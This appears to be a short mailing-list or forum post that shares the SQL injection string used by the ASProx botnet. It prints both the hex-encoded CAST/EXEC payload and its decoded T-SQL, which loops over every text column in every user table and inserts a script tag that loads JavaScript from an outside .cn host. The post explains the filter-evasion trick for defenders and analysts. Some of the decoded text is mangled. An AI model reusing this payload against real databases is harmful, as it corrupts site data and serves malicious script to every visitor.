This was the SQLi string used by the bot [ASProx] we discussed. 

;DECLARE%20 at S%20CHAR(4000);SET%20 at S=CAST(0x4445434C4152452040542076617263686
17228323535292C40432076617263686172283430303029204445434C415245205461626C655
F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6
52066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652
0612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479706
53D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622
E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E455
8542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C452
8404046455443485F5354415455533D302920424547494E20657865632827757064617465205
B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C7363726
97074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732
F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D207768657265202
72B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269707420737
2633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A732
23E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F4
37572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000
));EXEC(@S);

Note how it uses CAST() to bypass filtering. Decoded it's:

DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR
select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+ at T+'] set
['+ at C+']=''">//script
src="http://www0.douhunqn.cn/csrss/w.js"//script////!--''+['+@@+'] where
'+ at C+' not like ''%"//script
src="http://www0.douhunqn.cn/csrss/w.js"//script//!--''')FETCH NEXT FROM
Table_Cursor INTO @T'@C END CLOSE TabLe_Cursor DEALLOCATE Table_Cursor

/dean